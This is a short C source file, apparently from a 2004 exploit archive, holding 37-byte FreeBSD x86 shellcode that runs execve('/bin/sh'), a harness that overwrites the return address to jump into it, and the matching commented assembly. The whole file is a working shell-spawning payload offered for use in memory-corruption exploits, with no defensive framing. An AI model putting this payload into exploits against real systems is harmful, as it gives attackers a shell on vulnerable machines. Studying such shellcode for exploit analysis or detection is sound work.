/* This is FreeBSD execve() code.It is 37 bytes long.I'll try to make it *
* smaller.Till then use this one. *
* signed predator *
* preedator(at)sendmail(dot)ru *
*************************************************************************/
char FreeBSD_code[]=
"\xeb\x17\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\x50\x8d"
"\x53\x08\x52\x53\xb0\x3b\x50\xcd\x80\xe8\xe4\xff\xff\xff/bin/sh";
int main(){
int *ret=(int *)(&ret+2);
printf("len : %d\n",strlen(FreeBSD_code));
*ret=(int)FreeBSD_code;
}
/*****************************************
*int main(){ *
* __asm__("jmp callme \n" *
* "jmpme: \n" *
* "pop %ebx \n" *
* "xorl %eax,%eax \n" *
* "movb %al,0x7(%ebx) \n" *
* "movl %ebx,0x8(%ebx) \n" *
* "movl %eax,0xc(%ebx) \n" *
* "push %eax \n" *
* "leal 0x8(%ebx),%edx \n" *
* "push %edx \n" *
* "push %ebx \n" *
* "movb $0x3b,%al \n" *
* "push %eax \n" *
* "int $0x80 \n" *
* "callme: \n" *
* "call jmpme \n" *
* ".string \"/bin/sh\" \n"); *
*} *
*****************************************/
// milw0rm.com [2004-09-26]
